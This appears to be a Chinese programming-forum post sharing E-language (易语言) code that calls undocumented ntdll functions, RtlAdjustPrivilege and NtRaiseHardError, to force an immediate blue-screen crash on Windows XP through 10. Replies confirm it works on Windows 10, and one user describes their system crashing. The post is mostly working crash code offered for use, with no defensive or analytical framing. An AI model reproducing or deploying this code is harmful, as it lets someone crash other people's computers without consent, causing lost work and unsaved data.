易语言调用DLL实现蓝屏的模块代码 WinXP 7 8 10 x86/x64已测试有效 运行后直接蓝屏

a1a2dnp

1. 
   
2. 
   
3. .版本 2
   
4. 
   
5. .程序集 程序集1
   
6. 
   
7. .子程序 _启动子程序, 整数型, , 请在本子程序中放置易模块初始化代码
   
8. 
   
9. _临时子程序 ()  ' 在初始化代码执行完毕后调用测试代码
   
10. 返回 (0)  ' 可以根据您的需要返回任意数值
    
11. 
    
12. .子程序 _临时子程序
    
13. 
    
14. ' 本名称子程序用作测试程序用，仅在开发及调试环境中有效，编译发布程序前将被系统自动清空，请将所有用作测试的临时代码放在本子程序中。 ***注意不要修改本子程序的名称、参数及返回值类型。
    
15. 蓝屏 ()
    
16. 
    
17. .子程序 蓝屏, , 公开, XP 7 8 Win10等系统已测试都有效 运行后直接蓝屏
    
18. .局部变量 u, UNICODE_STRING
    
19. .局部变量 p, 整数型, , "4"
    
20. 
    
21. RtlAdjustPrivilege (19, 1, 0, 0)
    
22. RtlInitUnicodeString (u, “Session Manager”)
    
23. p [1] ＝ 取文本指针 (u, u, 0)
    
24. p [2] ＝ u.Length
    
25. p [3] ＝ p [1]
    
26. p [4] ＝ p [1]
    
27. NtRaiseHardError (-1073741286, 4, 1, p, 6, 0)
    
28. 
    
29. .版本 2
    
30. 
    
31. .DLL命令 NtRaiseHardError, 整数型, "ntdll.dll", "NtRaiseHardError"
    
32.     .参数 ErrorStatus, 整数型
    
33.     .参数 NumberOfParameters, 整数型
    
34.     .参数 UnicodeStringParameterMask, 整数型
    
35.     .参数 Parameters, 整数型, 传址 数组
    
36.     .参数 ValidResponseOptions, 整数型
    
37.     .参数 Response, 整数型, 传址
    
38. 
    
39. .DLL命令 RtlAdjustPrivilege, 整数型, "ntdll.dll", "RtlAdjustPrivilege"
    
40.     .参数 Privilege, 整数型
    
41.     .参数 Enable, 整数型
    
42.     .参数 Client, 整数型
    
43.     .参数 WasEnabled, 整数型, 传址
    
44. 
    
45. .DLL命令 RtlInitUnicodeString, , "ntdll.dll", "RtlInitUnicodeString"
    
46.     .参数 DestinationString, UNICODE_STRING, 传址
    
47.     .参数 SourceString, 文本型, 传址
    
48. 
    
49. .DLL命令 取文本指针, 整数型, , "lstrcpyn"
    
50.     .参数 变量, UNICODE_STRING, 传址
    
51.     .参数 变量, UNICODE_STRING, 传址
    
52.     .参数 保留, 整数型
    
53. .版本 2
    
54. 
    
55. .数据类型 UNICODE_STRING
    
56.     .成员 Length, 短整数型
    
57.     .成员 MaximumLength, 短整数型
    
58.     .成员 Buffer, 文本型
    
59. 
    

复制代码

66大顺

居然这个bug win10都有

Cute

最6的我 发表于 2018-5-31 17:03
居然这个bug win10都有

系统内存指针啥的乱了就蓝屏了。

demon

win10亲测有效...我本来还准备热键销毁的，然而刚开始还没反应，我就想打开任务管理器看一下，接着就跳出一个信息框，说什么不可用，然后我就卡了，然后我系统就错误了，然后是新版蓝屏...